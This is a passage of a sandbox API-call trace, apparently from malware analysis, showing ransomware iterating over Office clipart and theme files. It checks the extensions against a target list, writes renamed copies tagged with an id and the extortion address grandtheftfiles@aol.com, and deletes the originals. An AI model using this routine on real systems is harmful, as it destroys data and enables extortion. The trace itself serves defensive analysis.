	[0164.547] lstrlenW (lpString=".7z") returned 3
	[0164.547] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0164.547] lstrlenW (lpString=".dbf") returned 4
	[0164.547] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0164.547] lstrlenW (lpString=".1cd") returned 4
	[0164.547] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0164.547] lstrlenW (lpString=".jpg") returned 4
	[0164.547] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0164.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0164.547] lstrlenW (lpString=".doc") returned 4
	[0164.547] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.547] lstrlenW (lpString=".docx") returned 5
	[0164.547] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1
	[0164.547] lstrlenW (lpString=".pdf") returned 4
	[0164.547] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.547] lstrlenW (lpString=".xls") returned 4
	[0164.547] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.547] lstrlenW (lpString=".xlsx") returned 5
	[0164.547] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1
	[0164.547] lstrlenW (lpString=".ppt") returned 4
	[0164.548] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0164.548] lstrlenW (lpString=".zip") returned 4
	[0164.548] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.548] lstrlenW (lpString=".rar") returned 4
	[0164.548] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.548] lstrlenW (lpString=".bz2") returned 4
	[0164.548] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.548] lstrlenW (lpString=".7z") returned 3
	[0164.548] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0164.548] lstrlenW (lpString=".dbf") returned 4
	[0164.548] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0164.548] lstrlenW (lpString=".1cd") returned 4
	[0164.548] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0164.548] lstrlenW (lpString=".jpg") returned 4
	[0164.548] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.548] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.548] lstrlenW (lpString="PARNT_08.MID") returned 12
	[0164.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0164.549] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=7347) returned 1
	[0164.549] CloseHandle (hObject=0x560) returned 1
	[0164.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220
	[0164.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0164.550] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.550] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0164.551] GetLastError () returned 0x0
	[0164.551] ReadFile (in: hFile=0x560, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x1cb3, lpOverlapped=0x0) returned 1
	[0164.592] WriteFile (in: hFile=0x564, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1cc0, lpOverlapped=0x0) returned 1
	[0164.593] ReadFile (in: hFile=0x560, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.593] WriteFile (in: hFile=0x564, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.593] SetEndOfFile (hFile=0x564) returned 1
	[0164.613] CloseHandle (hObject=0x564) returned 1
	[0164.618] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.618] SetEndOfFile (hFile=0x560) returned 1
	[0164.679] CloseHandle (hObject=0x560) returned 1
	[0164.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1
	[0164.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0164.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0164.680] lstrlenW (lpString=".doc") returned 4
	[0164.680] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.680] lstrlenW (lpString=".docx") returned 5
	[0164.680] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1
	[0164.680] lstrlenW (lpString=".pdf") returned 4
	[0164.680] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.681] lstrlenW (lpString=".xls") returned 4
	[0164.681] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.681] lstrlenW (lpString=".xlsx") returned 5
	[0164.681] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1
	[0164.681] lstrlenW (lpString=".ppt") returned 4
	[0164.681] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0164.681] lstrlenW (lpString=".zip") returned 4
	[0164.681] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.681] lstrlenW (lpString=".rar") returned 4
	[0164.681] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.681] lstrlenW (lpString=".bz2") returned 4
	[0164.681] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.681] lstrlenW (lpString=".7z") returned 3
	[0164.681] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0164.681] lstrlenW (lpString=".dbf") returned 4
	[0164.681] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0164.681] lstrlenW (lpString=".1cd") returned 4
	[0164.681] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0164.681] lstrlenW (lpString=".jpg") returned 4
	[0164.681] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0164.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0164.681] lstrlenW (lpString=".doc") returned 4
	[0164.681] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.681] lstrlenW (lpString=".docx") returned 5
	[0164.681] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1
	[0164.681] lstrlenW (lpString=".pdf") returned 4
	[0164.681] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.681] lstrlenW (lpString=".xls") returned 4
	[0164.681] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.682] lstrlenW (lpString=".xlsx") returned 5
	[0164.682] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1
	[0164.682] lstrlenW (lpString=".ppt") returned 4
	[0164.682] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0164.682] lstrlenW (lpString=".zip") returned 4
	[0164.682] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.682] lstrlenW (lpString=".rar") returned 4
	[0164.682] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.682] lstrlenW (lpString=".bz2") returned 4
	[0164.682] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.682] lstrlenW (lpString=".7z") returned 3
	[0164.682] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0164.682] lstrlenW (lpString=".dbf") returned 4
	[0164.682] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0164.682] lstrlenW (lpString=".1cd") returned 4
	[0164.682] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0164.682] lstrlenW (lpString=".jpg") returned 4
	[0164.682] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.682] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.682] lstrlenW (lpString="ROAD_01.MID") returned 11
	[0164.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.698] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=5983) returned 1
	[0164.698] CloseHandle (hObject=0x4b4) returned 1
	[0164.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220
	[0164.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.070] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.070] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.701] GetLastError () returned 0x0
	[0165.702] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x175f, lpOverlapped=0x0) returned 1
	[0165.724] WriteFile (in: hFile=0x560, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1760, lpOverlapped=0x0) returned 1
	[0165.725] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.725] WriteFile (in: hFile=0x560, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xea, lpOverlapped=0x0) returned 1
	[0165.725] SetEndOfFile (hFile=0x560) returned 1
	[0165.725] CloseHandle (hObject=0x560) returned 1
	[0165.725] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.725] SetEndOfFile (hFile=0x42c) returned 1
	[0165.727] CloseHandle (hObject=0x42c) returned 1
	[0165.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1
	[0165.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0165.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0165.728] lstrlenW (lpString=".doc") returned 4
	[0165.728] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.728] lstrlenW (lpString=".docx") returned 5
	[0165.729] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.729] lstrlenW (lpString=".pdf") returned 4
	[0165.729] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.729] lstrlenW (lpString=".xls") returned 4
	[0165.729] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.729] lstrlenW (lpString=".xlsx") returned 5
	[0165.729] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.729] lstrlenW (lpString=".ppt") returned 4
	[0165.729] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0165.729] lstrlenW (lpString=".zip") returned 4
	[0165.729] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.729] lstrlenW (lpString=".rar") returned 4
	[0165.729] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.729] lstrlenW (lpString=".bz2") returned 4
	[0165.729] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.729] lstrlenW (lpString=".7z") returned 3
	[0165.729] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0165.729] lstrlenW (lpString=".dbf") returned 4
	[0165.729] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0165.729] lstrlenW (lpString=".1cd") returned 4
	[0165.729] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0165.729] lstrlenW (lpString=".jpg") returned 4
	[0165.729] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0165.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0165.729] lstrlenW (lpString=".doc") returned 4
	[0165.729] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.729] lstrlenW (lpString=".docx") returned 5
	[0165.729] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.729] lstrlenW (lpString=".pdf") returned 4
	[0165.729] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.730] lstrlenW (lpString=".xls") returned 4
	[0165.730] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.730] lstrlenW (lpString=".xlsx") returned 5
	[0165.730] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.730] lstrlenW (lpString=".ppt") returned 4
	[0165.730] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0165.730] lstrlenW (lpString=".zip") returned 4
	[0165.730] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.730] lstrlenW (lpString=".rar") returned 4
	[0165.730] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.730] lstrlenW (lpString=".bz2") returned 4
	[0165.730] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.730] lstrlenW (lpString=".7z") returned 3
	[0165.730] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0165.730] lstrlenW (lpString=".dbf") returned 4
	[0165.730] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0165.730] lstrlenW (lpString=".1cd") returned 4
	[0165.730] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0165.730] lstrlenW (lpString=".jpg") returned 4
	[0165.730] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.730] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0165.730] lstrlenW (lpString="Glossy.eftx") returned 11
	[0165.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.731] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=335038) returned 1
	[0165.731] CloseHandle (hObject=0x42c) returned 1
	[0165.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220
	[0165.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.731] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.732] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.732] GetLastError () returned 0x0
	[0165.732] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x51cbe, lpOverlapped=0x0) returned 1
	[0165.743] WriteFile (in: hFile=0x560, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x51cc0, lpOverlapped=0x0) returned 1
	[0165.749] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.749] WriteFile (in: hFile=0x560, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xea, lpOverlapped=0x0) returned 1
	[0165.750] SetEndOfFile (hFile=0x560) returned 1
	[0165.750] CloseHandle (hObject=0x560) returned 1
	[0165.750] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.750] SetEndOfFile (hFile=0x42c) returned 1
	[0165.759] CloseHandle (hObject=0x42c) returned 1
	[0165.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1
	[0165.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0165.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0165.760] lstrlenW (lpString=".doc") returned 4
	[0165.760] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0165.760] lstrlenW (lpString=".docx") returned 5
	[0165.760] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0165.760] lstrlenW (lpString=".pdf") returned 4
	[0165.760] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0165.760] lstrlenW (lpString=".xls") returned 4
	[0165.760] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0165.760] lstrlenW (lpString=".xlsx") returned 5
	[0165.760] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0165.760] lstrlenW (lpString=".ppt") returned 4
	[0165.760] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0165.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0165.760] lstrlenW (lpString=".zip") returned 4
	[0165.760] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0165.760] lstrlenW (lpString=".rar") returned 4
	[0165.760] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0165.761] lstrlenW (lpString=".bz2") returned 4
